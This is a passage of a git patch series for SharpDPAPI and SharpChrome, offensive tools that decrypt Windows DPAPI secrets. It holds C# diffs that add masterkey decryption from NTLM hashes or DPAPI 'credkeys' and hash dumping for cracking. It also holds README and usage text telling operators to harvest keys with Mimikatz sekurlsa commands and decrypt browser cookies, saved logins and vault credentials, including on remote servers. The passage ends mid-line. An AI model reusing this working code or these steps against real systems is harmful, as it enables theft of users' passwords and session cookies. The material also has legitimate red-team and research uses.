(dumpHash) @@ -164,11 +163,12 @@ public static Dictionary TriageUserMasterKeys(byte[] backupKeyBy { isDomain = true; // means use the NTLM of the user password instead of the SHA1 } + userSID = !String.IsNullOrEmpty(userSID) ? userSID : Dpapi.ExtractSidFromPath(file); } - if (!String.IsNullOrEmpty(password)) + if (!String.IsNullOrEmpty(password) || !String.IsNullOrEmpty(ntlm) || !String.IsNullOrEmpty(prekey)) { - hmacBytes = Dpapi.CalculateKeys(password, directory, isDomain); + hmacBytes = Dpapi.CalculateKeys(password: password, ntlm: ntlm, prekey: prekey, userSID: userSID, domain: isDomain); } foreach (var file in files) @@ -188,7 +188,7 @@ public static Dictionary TriageUserMasterKeys(byte[] backupKeyBy try { KeyValuePair plaintextMasterKey = default; - if (!String.IsNullOrEmpty(password)) + if (!String.IsNullOrEmpty(password) || !String.IsNullOrEmpty(ntlm) || !String.IsNullOrEmpty(prekey)) { plaintextMasterKey = Dpapi.DecryptMasterKeyWithSha(masterKeyBytes, hmacBytes); } @@ -198,7 +198,6 @@ public static Dictionary TriageUserMasterKeys(byte[] backupKeyBy } else if (dumpHash) { - userSID = !String.IsNullOrEmpty(userSID) ? userSID : Dpapi.ExtractSidFromPath(file); plaintextMasterKey = Dpapi.FormatHash(masterKeyBytes, userSID, isDomain ? 3 : 1); } else if(rpc && isDomain) @@ -238,7 +237,7 @@ public static Dictionary TriageUserMasterKeys(byte[] backupKeyBy } } - if (!String.IsNullOrEmpty(password)) + if (show) { if (mappings.Count == 0) { From 3dcfce296041aea120dd11782e6efb054524ca28 Mon Sep 17 00:00:00 2001 From: Will Date: Thu, 14 Dec 2023 14:03:05 -0800 Subject: [PATCH 15/28] Added support for local prekey -Added support for local prekey --- SharpDPAPI/lib/Dpapi.cs | 54 ++++++++++++++++++++--------------------- 1 file changed, 27 insertions(+), 27 deletions(-) diff --git a/SharpDPAPI/lib/Dpapi.cs b/SharpDPAPI/lib/Dpapi.cs index 8ce65bf..2340359 100755 --- a/SharpDPAPI/lib/Dpapi.cs +++ b/SharpDPAPI/lib/Dpapi.cs @@ -1772,24 +1772,30 @@ public static byte[] CalculateKeys(bool domain = true, string password = "", str utf16sid.CopyTo(utf16sidfinal, 0); utf16sidfinal[utf16sidfinal.Length - 2] = 0x00; - byte[] sha1bytes_password; - byte[] hmacbytes; - if (!domain) { - // TODO: handle local prekey! - - //Calculate SHA1 from user password - using (var sha1 = new SHA1CryptoServiceProvider()) + if (!domain && !String.IsNullOrEmpty(prekey)) { - sha1bytes_password = sha1.ComputeHash(utf16pass); + // using the local pre-key specifically + using (var hmac = new HMACSHA1(Helpers.ConvertHexStringToByteArray(prekey))) + { + return hmac.ComputeHash(utf16sidfinal); + } } - var combined = Helpers.Combine(sha1bytes_password, utf16sidfinal); - using (var hmac = new HMACSHA1(sha1bytes_password)) + else { - hmacbytes = hmac.ComputeHash(utf16sidfinal); + // Calculate SHA1 from user password + byte[] sha1bytes_password; + using (var sha1 = new SHA1CryptoServiceProvider()) + { + sha1bytes_password = sha1.ComputeHash(utf16pass); + } + var combined = Helpers.Combine(sha1bytes_password, utf16sidfinal); + using (var hmac = new HMACSHA1(sha1bytes_password)) + { + return hmac.ComputeHash(utf16sidfinal); + } } - return hmacbytes; } else { @@ -1814,40 +1820,34 @@ public static byte[] CalculateKeys(bool domain = true, string password = "", str ntlmhmacbytes = hmac.ComputeHash(utf16sidfinal); } - byte[] tmpbytes1; - byte[] tmpbytes2; - byte[] tmpkey3bytes; + byte[] tmpbytes; + byte[] prekey_bytes; using (var hMACSHA256 = new HMACSHA256()) { var deriveBytes = new Pbkdf2(hMACSHA256, ntlmBytes, utf16sid, 10000); - tmpbytes1 = deriveBytes.GetBytes(32, "sha256"); + tmpbytes = deriveBytes.GetBytes(32, "sha256"); } using (var hMACSHA256 = new HMACSHA256()) { - var deriveBytes = new Pbkdf2(hMACSHA256, tmpbytes1, utf16sid, 1); - tmpbytes2 = deriveBytes.GetBytes(16, "sha256"); + var deriveBytes = new Pbkdf2(hMACSHA256, tmpbytes, utf16sid, 1); + prekey_bytes = deriveBytes.GetBytes(16, "sha256"); } - var b = BitConverter.ToString(tmpbytes2).Replace("-", ""); + var b = BitConverter.ToString(prekey_bytes).Replace("-", ""); - using (var hmac = new HMACSHA1(tmpbytes2)) + using (var hmac = new HMACSHA1(prekey_bytes)) { - tmpkey3bytes = hmac.ComputeHash(utf16sidfinal); + return hmac.ComputeHash(utf16sidfinal); } - return tmpkey3bytes; } else if (!String.IsNullOrEmpty(prekey)) { - byte[] tmpkey3bytes; - using (var hmac = new HMACSHA1(Helpers.ConvertHexStringToByteArray(prekey))) { - tmpkey3bytes = hmac.ComputeHash(utf16sidfinal); + return hmac.ComputeHash(utf16sidfinal); } - - return tmpkey3bytes; } else { From 1bc590277eae2e1ab57a60a0ad69e7886f3a44a3 Mon Sep 17 00:00:00 2001 From: harmj0y Date: Thu, 14 Dec 2023 14:23:10 -0800 Subject: [PATCH 16/28] Update CHANGELOG -Update CHANGELOG -Update usage for both projects --- CHANGELOG.md | 30 +++++++++++++++++++++++++++++- SharpChrome/Domain/Info.cs | 14 ++++++++------ SharpDPAPI/Domain/Info.cs | 24 ++++++++++++++---------- 3 files changed, 51 insertions(+), 17 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index c89af3e..da43dd8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,34 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [1.12.0] - 2024-12-14 + +### Added + * Support for local/domain prekey usage for decryption + * Slack support to statekeys/cookies commands (@Lee Christensen) + * Ability to specify local state file (@Lee Christensen) + * RPC (MS-BKUP) masterkey retrieval (@Kiblyn11) + * User-context unprotect option for certificates (@ptr0x1) + * Teams statekey support (@fsacer) + * Ability to dump hashes in jtr/hashcat format (@rxwx) + * HMAC validation to 3DES SHA1 (@rxwx) + * SCCM object data parsing (@guervild) + * SCCM to machine triage (@subat0mik) + +### Fixed + * User local admin SID enumeration (@clod81) + * FIPS compliant API usage (@Calvin Hedle) + * Updated for latest editthiscookie format (@djhohnstein) + * String types + code cleanup (@Lee Christensen) + * SCCM regex fix (@guervild) + * Bug in user SID extraction (@rxwx) + * nameof to true name for BCrypt* defs (@djhohnstein) + +### Changed + * NTLM hash now manually specified with `/ntlm` instead of inferred from `/password` + * Backupkey now not line wrapped by default + + ## [1.11.3] - 2022-06-06 ### Fixed @@ -43,7 +71,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Fixed * **SharpDPAPI** project - * Decrypted null bytes in certificate description fields messing up output + * Decrypted null bytes in certificate description fields messing up output ## [1.10.0] - 2021-02-25 diff --git a/SharpChrome/Domain/Info.cs b/SharpChrome/Domain/Info.cs index 6d322a0..3689958 100755 --- a/SharpChrome/Domain/Info.cs +++ b/SharpChrome/Domain/Info.cs @@ -25,19 +25,21 @@ public static void ShowUsage() Decryption: /unprotect - force use of CryptUnprotectData() (default for unprivileged execution) - /password:X - first decrypt the current user's masterkeys using a plaintext password. Works with any function, as well as remotely. - GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption - /mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption /pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys /pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys + /password:X - decrypt the target user's masterkeys using a plaintext password (works remotely) + /ntlm:X - decrypt the target user's masterkeys using a NTLM hash (works remotely) + /prekey:X - decrypt the target user's masterkeys using a DPAPI prekey (domain or local SHA1, works remotely) + /rpc - decrypt the target user's masterkeys by asking domain controller to do so + GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption /statekey:X - a decrypted AES state key (from the 'statekey' command) - + Targeting: /target:FILE - triage a specific 'Cookies', 'Login Data', or 'Local State' file location /target:C:\Users\X\ - triage a specific user folder for any specified command /server:SERVER - triage a remote server, assuming admin access (note: must use with /pvk:KEY) /browser:X - triage 'chrome' (the default) or (chromium-based) 'edge'/'brave' - + Output: /format:X - either 'csv' (default) or 'table' display /showall - show Login Data entries with null passwords and expired Cookies instead of filtering (default) @@ -46,7 +48,7 @@ public static void ShowUsage() 'cookies' command specific arguments: - + /cookie:""REGEX"" - only return cookies where the cookie name matches the supplied regex /url:""REGEX"" - only return cookies where the cookie URL matches the supplied regex /format:json - output cookie values in an Cookie-Editor JSON import format. Best when used with a regex! diff --git a/SharpDPAPI/Domain/Info.cs b/SharpDPAPI/Domain/Info.cs index e1185cb..bfd7ab9 100755 --- a/SharpDPAPI/Domain/Info.cs +++ b/SharpDPAPI/Domain/Info.cs @@ -23,7 +23,7 @@ public static void ShowUsage() The *search* comand will search for potential DPAPI blobs in the registry, files, folders, and base64 blobs: - + search /type:registry [/path:HKLM\path\to\key] [/showErrors] search /type:folder /path:C:\path\to\folder [/maxBytes:] [/showErrors] search /type:file /path:C:\path\to\file [/maxBytes:] @@ -45,21 +45,26 @@ public static void ShowUsage() /target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys) /pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys /pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys - /password:X - first decrypt the current user's masterkeys using a plaintext password (works remotely) + /password:X - decrypt the target user's masterkeys using a plaintext password (works remotely) + /ntlm:X - decrypt the target user's masterkeys using a NTLM hash (works remotely) + /prekey:X - decrypt the target user's masterkeys using a DPAPI prekey (domain or local SHA1, works remotely) + /rpc - decrypt the target user's masterkeys by asking domain controller to do so /server:SERVER - triage a remote server, assuming admin access - /rpc - attempt to decrypt user masterkeys by asking domaine controller to do so + /hashes - output usermasterkey file 'hashes' in JTR/Hashcat format (no decryption) Arguments for the credentials|vaults|rdg|keepass|triage|blob|ps commands: Decryption: /unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands - /password:X - first decrypt the current user's masterkeys using a plaintext password. Works with any function, as well as remotely. - GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption - /mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption /pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys /pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys - /rpc - attempt to decrypt user masterkeys by asking domaine controller to do so + /password:X - decrypt the target user's masterkeys using a plaintext password (works remotely) + /ntlm:X - decrypt the target user's masterkeys using a NTLM hash (works remotely) + /prekey:X - decrypt the target user's masterkeys using a DPAPI prekey (domain or local SHA1, works remotely) + /rpc - decrypt the target user's masterkeys by asking domain controller to do so + GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption + /mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption Targeting: /target:FILE/folder - triage a specific 'Credentials','.rdg|RDCMan.settings', 'blob', or 'ps' file location, or 'Vault' folder @@ -74,9 +79,8 @@ public static void ShowUsage() /showall - show all decrypted private key files, not just ones that are linked to installed certs (the default) /machine - use the local machine store for certificate triage /mkfile | /target - for /machine triage - /unprotect - force use of CryptUnprotectData() for user triage - /pvk | /mkfile | /password | /server | /target - for user triage - + [all decryption args from User Triage above] + Note: in most cases, just use *triage* if you're targeting user DPAPI secrets and *machinetriage* if you're going after SYSTEM DPAPI secrets. These functions wrap all the other applicable functions that can be automatically run. From 709f9bca80b4c3bf90b0700a3f44ebd8c97fad3f Mon Sep 17 00:00:00 2001 From: Will Date: Thu, 14 Dec 2023 14:41:08 -0800 Subject: [PATCH 17/28] Update README --- README.md | 20 +++++++++++--------- SharpDPAPI/lib/Dpapi.cs | 2 -- 2 files changed, 11 insertions(+), 11 deletions(-) diff --git a/README.md b/README.md index d703d56..74308b2 100755 --- a/README.md +++ b/README.md @@ -70,9 +70,7 @@ SharpDPAPI is licensed under the BSD 3-Clause license. (_ |_ _. ._ ._ | \ |_) /\ |_) | __) | | (_| | |_) |_/ | /--\ | _|_ | - v1.11.3 - - + v1.20.0 Retrieve a domain controller's DPAPI backup key, optionally specifying a DC and output file: @@ -102,19 +100,21 @@ SharpDPAPI is licensed under the BSD 3-Clause license. /target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys) /pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys /pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys - /password:X - first decrypt the current user's masterkeys using a plaintext password or NTLM hash (works remotely) + /password:X - first decrypt the current user's masterkeys using a plaintext password (works remotely) /server:SERVER - triage a remote server, assuming admin access + /rpc - attempt to decrypt user masterkeys by asking domaine controller to do so Arguments for the credentials|vaults|rdg|keepass|triage|blob|ps commands: Decryption: /unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands - /password:X - first decrypt the current user's masterkeys using a plaintext password or NTLM hash. Works with any function, as well as remotely. + /password:X - first decrypt the current user's masterkeys using a plaintext password. Works with any function, as well as remotely. GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption /mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption /pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys /pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys + /rpc - attempt to decrypt user masterkeys by asking domaine controller to do so Targeting: /target:FILE/folder - triage a specific 'Credentials','.rdg|RDCMan.settings', 'blob', or 'ps' file location, or 'Vault' folder @@ -156,12 +156,14 @@ SharpDPAPI is licensed under the BSD 3-Clause license. Decryption: /unprotect - force use of CryptUnprotectData() (default for unprivileged execution) - /password:X - first decrypt the current user's masterkeys using a plaintext password. Works with any function, as well as remotely. - GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption - /mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption /pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys /pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys - /statekey:X - a decrypted AES state key (from the 'statekeys' command) + /password:X - decrypt the target user's masterkeys using a plaintext password (works remotely) + /ntlm:X - decrypt the target user's masterkeys using a NTLM hash (works remotely) + /prekey:X - decrypt the target user's masterkeys using a DPAPI prekey (domain or local SHA1, works remotely) + /rpc - decrypt the target user's masterkeys by asking domain controller to do so + GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption + /statekey:X - a decrypted AES state key (from the 'statekey' command) Targeting: /target:FILE - triage a specific 'Cookies', 'Login Data', or 'Local State' file location diff --git a/SharpDPAPI/lib/Dpapi.cs b/SharpDPAPI/lib/Dpapi.cs index 2340359..58f1aa8 100755 --- a/SharpDPAPI/lib/Dpapi.cs +++ b/SharpDPAPI/lib/Dpapi.cs @@ -1835,8 +1835,6 @@ public static byte[] CalculateKeys(bool domain = true, string password = "", str prekey_bytes = deriveBytes.GetBytes(16, "sha256"); } - var b = BitConverter.ToString(prekey_bytes).Replace("-", ""); - using (var hmac = new HMACSHA1(prekey_bytes)) { return hmac.ComputeHash(utf16sidfinal); From 049f35e54b207f7801acf1444638250f6da066bc Mon Sep 17 00:00:00 2001 From: harmj0y Date: Thu, 14 Dec 2023 14:48:31 -0800 Subject: [PATCH 18/28] Update README.md --- README.md | 22 +++++++++++++--------- 1 file changed, 13 insertions(+), 9 deletions(-) diff --git a/README.md b/README.md index 74308b2..86176be 100755 --- a/README.md +++ b/README.md @@ -49,7 +49,7 @@ SharpDPAPI is licensed under the BSD 3-Clause license. - [blob](#blob) - [backupkey](#backupkey) - [search](#search) - - [sccm](#sccm) + - [SCCM](#sccm) - [SharpChrome Commands](#sharpchrome-commands) - [logins](#logins) - [cookies](#cookies) @@ -197,6 +197,8 @@ If domain admin (or equivalent) privileges have been obtained, the domain DPAPI If DA privileges have not been achieved, using Mimikatz' `sekurlsa::dpapi` command will retrieve DPAPI masterkey {GUID}:SHA1 mappings of any loaded master keys (user and SYSTEM) on a given system (tip: running `dpapi::cache` after key extraction will give you a nice table). If you change these keys to a `{GUID1}:SHA1 {GUID2}:SHA1...` type format, they can be supplied to the [credentials](#credentials), [vaults](#vaults), [rdg](#rdg), or [triage](#triage) commands. This lets you triage all Credential files/Vaults on a system for any user who's currently logged in, without having to do file-by-file decrypts. +Alternatively, if you can supply a target user's password, NTLM hash, or DPAPI prekey for user-command with `/password:X`, `/ntlm:X`, or `/prekey:X` respectively. The `dpapi` field of Mimikatz' `sekurlsa::msv` output for domain users can be used as the `/prekey`, while the `sha1` field of `sekurlsa::msv` output can be used as the `/prekey` for local users. + For decrypting RDG/RDCMan.settings files with the [rdg](#rdg) command, the `/unprotect` flag will use CryptUnprotectData() to decrypt any saved RDP passwords, *if* the command is run from the user context who saved the passwords. This can be done from an _unprivileged_ context, without the need to touch LSASS. For why this approach isn't used for credentials/vaults, see Benjamin's [documentation here](https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials#problem). For machine-specific DPAPI triage, the `machinemasterkeys|machinecredentials|machinevaults|machinetriage` commands will do the machine equivalent of user DPAPI triage. If in an elevated context (that is, you need local administrative rights), SharpDPAPI will elevate to SYSTEM privileges to retrieve the "DPAPI_SYSTEM" LSA secret, which is then used to decrypt any discovered machine DPAPI masterkeys. These keys are then used as lookup tables for machine credentials/vaults/etc. @@ -207,7 +209,9 @@ For more offensive DPAPI information, [check here](https://www.harmj0y.net/blog/ SharpChrome is a Chrome-specific implementation of SharpDPAPI capable of **cookies** and **logins** decryption/triage. It is built as a separate project in SharpDPAPI because of the size of the SQLite library utilized. -Since Chrome Cookies/Login Data are saved without CRYPTPROTECT_SYSTEM, CryptUnprotectData() is back on the table. If SharpChrome is run from an unelevated contect, it will attempt to decrypt any logins/cookies for the current user using CryptUnprotectData(). A `/pvk:[BASE64|file.pvk]`, {GUID}:SHA1 lookup table, `/password:X`, or `/mkfile:FILE` of {GUID}:SHA1 values can also be used to decrypt values. Also, the [C# SQL library](https://github.com/akveo/digitsquare/tree/a251a1220ef6212d1bed8c720368435ee1bfdfc2/plugins/com.brodysoft.sqlitePlugin/src/wp) used (with a few modifications) supports [lockless opening](https://github.com/gentilkiwi/mimikatz/pull/199), meaning that Chrome does not have to be closed/target files do not have to be copied to another location. +Since Chrome Cookies/Login Data are saved without CRYPTPROTECT_SYSTEM, CryptUnprotectData() is back on the table. If SharpChrome is run from an unelevated contect, it will attempt to decrypt any logins/cookies for the current user using CryptUnprotectData(). A `/pvk:[BASE64|file.pvk]`, {GUID}:SHA1 lookup table, `/password:X`, `/ntlm:X`, `/prekey:X`, or `/mkfile:FILE` of {GUID}:SHA1 values can also be used to decrypt values. Also, the [C# SQL library](https://github.com/akveo/digitsquare/tree/a251a1220ef6212d1bed8c720368435ee1bfdfc2/plugins/com.brodysoft.sqlitePlugin/src/wp) used (with a few modifications) supports [lockless opening](https://github.com/gentilkiwi/mimikatz/pull/199), meaning that Chrome does not have to be closed/target files do not have to be copied to another location. + +Alternatively, if you can supply a target user's password, NTLM hash, or DPAPI prekey for user-command with `/password:X`, `/ntlm:X`, or `/prekey:X` respectively. The `dpapi` field of Mimikatz' `sekurlsa::msv` output for domain users can be used as the `/prekey`, while the `sha1` field of `sekurlsa::msv` output can be used as the `/prekey` for local users. If Chrome is version 80+, an AES state key is stored in *AppData\Local\Google\Chrome\User Data\Local State* - this key is protected with DPAPI, so we can use CryptUnprotectData()/pvk/masterkey lookup tables to decrypt it. This AES key is then used to protect new cookie and login data entries. This is also the process when `/browser:edge` or `/browser:brave` is specified, for newer Chromium-based Edge browser triage. @@ -262,18 +266,18 @@ The `Preferred` key is also parsed in order to highlight the current preferred m __) | | (_| | |_) |_/ | /--\ | _|_ | v1.11.3 - - + + [*] Action: User DPAPI Masterkey File Triage - + [*] Will dump user masterkey hashes - + [*] Found MasterKey : C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa [*] Found MasterKey : C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a ...(snip)... [*] Preferred master keys: - + C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a @@ -328,7 +332,7 @@ Using domain {GUID}:SHA1 masterkey mappings: Using a domain DPAPI backup key to first decrypt any discoverable masterkeys: - + C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)... __ _ _ _ ___ @@ -1322,7 +1326,7 @@ The `search` command works by searching for the following bytes, which represent 0x01, 0x00, 0x00, 0x00, 0xD0, 0x8C, 0x9D, 0xDF, 0x01, 0x15, 0xD1, 0x11, 0x8C, 0x7A, 0x00, 0xC0, 0x4F, 0xC2, 0x97, 0xEB ``` -The search command has different arguments depending on the data type being scanned. To designate the data type, use the `/type` argument specifying `registry`, `folder`, `file`, or `base64`. If the `/type` argument is not present, the command will search the registry by default. +The search command has different arguments depending on the data type being scanned. To designate the data type, use the `/type` argument specifying `registry`, `folder`, `file`, or `base64`. If the `/type` argument is not present, the command will search the registry by default. When searching the registry with no other arguments, the command will recursively search the HKEY_LOCAL_MACHINE and HKEY_USERS hives. Use `/path` parameter to specify a root to key to search from (e.g. `/path:HKLM\Software`) and use the `/showErrors` argument to display errors that occuring during enumeration. From a9649ad03bf4923fc80d863e9738694032a19600 Mon Sep 17 00:00:00 2001 From: Will Date: Thu, 14 Dec 2023 15:40:20 -0800 Subject: [PATCH 19/28] Renamed `prekey` to `credkey` -Renamed `prekey` to `credkey` for accuracy --- CHANGELOG.md | 2 +- README.md | 21 ++++++++++++--------- SharpChrome/Commands/Cookies.cs | 6 +++--- SharpChrome/Commands/Logins.cs | 6 +++--- SharpChrome/Commands/Statekeys.cs | 6 +++--- SharpChrome/Domain/Info.cs | 2 +- SharpDPAPI/Commands/Blob.cs | 6 +++--- SharpDPAPI/Commands/Certificate.cs | 6 +++--- SharpDPAPI/Commands/Credentials.cs | 6 +++--- SharpDPAPI/Commands/Keepass.cs | 6 +++--- SharpDPAPI/Commands/Masterkeys.cs | 18 +++++++++--------- SharpDPAPI/Commands/PS.cs | 6 +++--- SharpDPAPI/Commands/RDG.cs | 6 +++--- SharpDPAPI/Commands/Triage.cs | 6 +++--- SharpDPAPI/Commands/Vaults.cs | 6 +++--- SharpDPAPI/Domain/Info.cs | 4 ++-- SharpDPAPI/lib/Dpapi.cs | 20 ++++++++++---------- SharpDPAPI/lib/Triage.cs | 18 +++++++++--------- 18 files changed, 77 insertions(+), 74 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index da43dd8..10aca11 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -8,7 +8,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [1.12.0] - 2024-12-14 ### Added - * Support for local/domain prekey usage for decryption + * Support for local/domain credkey usage for masterkey decryption * Slack support to statekeys/cookies commands (@Lee Christensen) * Ability to specify local state file (@Lee Christensen) * RPC (MS-BKUP) masterkey retrieval (@Kiblyn11) diff --git a/README.md b/README.md index 86176be..4bfc8b3 100755 --- a/README.md +++ b/README.md @@ -100,21 +100,26 @@ SharpDPAPI is licensed under the BSD 3-Clause license. /target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys) /pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys /pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys - /password:X - first decrypt the current user's masterkeys using a plaintext password (works remotely) + /password:X - decrypt the target user's masterkeys using a plaintext password (works remotely) + /ntlm:X - decrypt the target user's masterkeys using a NTLM hash (works remotely) + /credkey:X - decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely) + /rpc - decrypt the target user's masterkeys by asking domain controller to do so /server:SERVER - triage a remote server, assuming admin access - /rpc - attempt to decrypt user masterkeys by asking domaine controller to do so + /hashes - output usermasterkey file 'hashes' in JTR/Hashcat format (no decryption) Arguments for the credentials|vaults|rdg|keepass|triage|blob|ps commands: Decryption: /unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands - /password:X - first decrypt the current user's masterkeys using a plaintext password. Works with any function, as well as remotely. - GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption - /mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption /pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys /pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys - /rpc - attempt to decrypt user masterkeys by asking domaine controller to do so + /password:X - decrypt the target user's masterkeys using a plaintext password (works remotely) + /ntlm:X - decrypt the target user's masterkeys using a NTLM hash (works remotely) + /credkey:X - decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely) + /rpc - decrypt the target user's masterkeys by asking domain controller to do so + GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption + /mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption Targeting: /target:FILE/folder - triage a specific 'Credentials','.rdg|RDCMan.settings', 'blob', or 'ps' file location, or 'Vault' folder @@ -129,15 +134,13 @@ SharpDPAPI is licensed under the BSD 3-Clause license. /showall - show all decrypted private key files, not just ones that are linked to installed certs (the default) /machine - use the local machine store for certificate triage /mkfile | /target - for /machine triage - /unprotect - force use of CryptUnprotectData() for user triage - /pvk | /mkfile | /password | /server | /target - for user triage + [all decryption args from User Triage above] Note: in most cases, just use *triage* if you're targeting user DPAPI secrets and *machinetriage* if you're going after SYSTEM DPAPI secrets. These functions wrap all the other applicable functions that can be automatically run. - #### SharpChrome Command Line Usage __ _ diff --git a/SharpChrome/Commands/Cookies.cs b/SharpChrome/Commands/Cookies.cs index 54d950c..080dd11 100755 --- a/SharpChrome/Commands/Cookies.cs +++ b/SharpChrome/Commands/Cookies.cs @@ -128,10 +128,10 @@ public void Execute(Dictionary arguments) Console.WriteLine("[*] Will decrypt user masterkeys with NTLM hash: {0}\r\n", arguments["/ntlm"]); masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, ntlm: arguments["/ntlm"]); } - else if (arguments.ContainsKey("/prekey")) + else if (arguments.ContainsKey("/credkey")) { - Console.WriteLine("[*] Will decrypt user masterkeys with PreKey: {0}\r\n", arguments["/prekey"]); - masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, prekey: arguments["/prekey"]); + Console.WriteLine("[*] Will decrypt user masterkeys with credkey: {0}\r\n", arguments["/credkey"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, credkey: arguments["/credkey"]); } else if (arguments.ContainsKey("/rpc")) { diff --git a/SharpChrome/Commands/Logins.cs b/SharpChrome/Commands/Logins.cs index c544ba1..e361055 100755 --- a/SharpChrome/Commands/Logins.cs +++ b/SharpChrome/Commands/Logins.cs @@ -98,10 +98,10 @@ public void Execute(Dictionary arguments) Console.WriteLine("[*] Will decrypt user masterkeys with NTLM hash: {0}\r\n", arguments["/ntlm"]); masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(show: true, computerName: server, ntlm: arguments["/ntlm"]); } - else if (arguments.ContainsKey("/prekey")) + else if (arguments.ContainsKey("/credkey")) { - Console.WriteLine("[*] Will decrypt user masterkeys with PreKey: {0}\r\n", arguments["/prekey"]); - masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(show: true, computerName: server, prekey: arguments["/prekey"]); + Console.WriteLine("[*] Will decrypt user masterkeys with credkey: {0}\r\n", arguments["/credkey"]); + masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(show: true, computerName: server, credkey: arguments["/credkey"]); } else if (arguments.ContainsKey("/rpc")) { diff --git a/SharpChrome/Commands/Statekeys.cs b/SharpChrome/Commands/Statekeys.cs index 48445a3..58dab4e 100644 --- a/SharpChrome/Commands/Statekeys.cs +++ b/SharpChrome/Commands/Statekeys.cs @@ -55,10 +55,10 @@ public void Execute(Dictionary arguments) Console.WriteLine("[*] Will decrypt user masterkeys with NTLM hash: {0}\r\n", arguments["/ntlm"]); masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(show: true, computerName: server, ntlm: arguments["/ntlm"]); } - else if (arguments.ContainsKey("/prekey")) + else if (arguments.ContainsKey("/credkey")) { - Console.WriteLine("[*] Will decrypt user masterkeys with PreKey: {0}\r\n", arguments["/prekey"]); - masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(show: true, computerName: server, prekey: arguments["/prekey"]); + Console.WriteLine("[*] Will decrypt user masterkeys with credkey: {0}\r\n", arguments["/credkey"]); + masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(show: true, computerName: server, credkey: arguments["/credkey"]); } else if (arguments.ContainsKey("/rpc")) { diff --git a/SharpChrome/Domain/Info.cs b/SharpChrome/Domain/Info.cs index 3689958..6d725e5 100755 --- a/SharpChrome/Domain/Info.cs +++ b/SharpChrome/Domain/Info.cs @@ -29,7 +29,7 @@ public static void ShowUsage() /pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys /password:X - decrypt the target user's masterkeys using a plaintext password (works remotely) /ntlm:X - decrypt the target user's masterkeys using a NTLM hash (works remotely) - /prekey:X - decrypt the target user's masterkeys using a DPAPI prekey (domain or 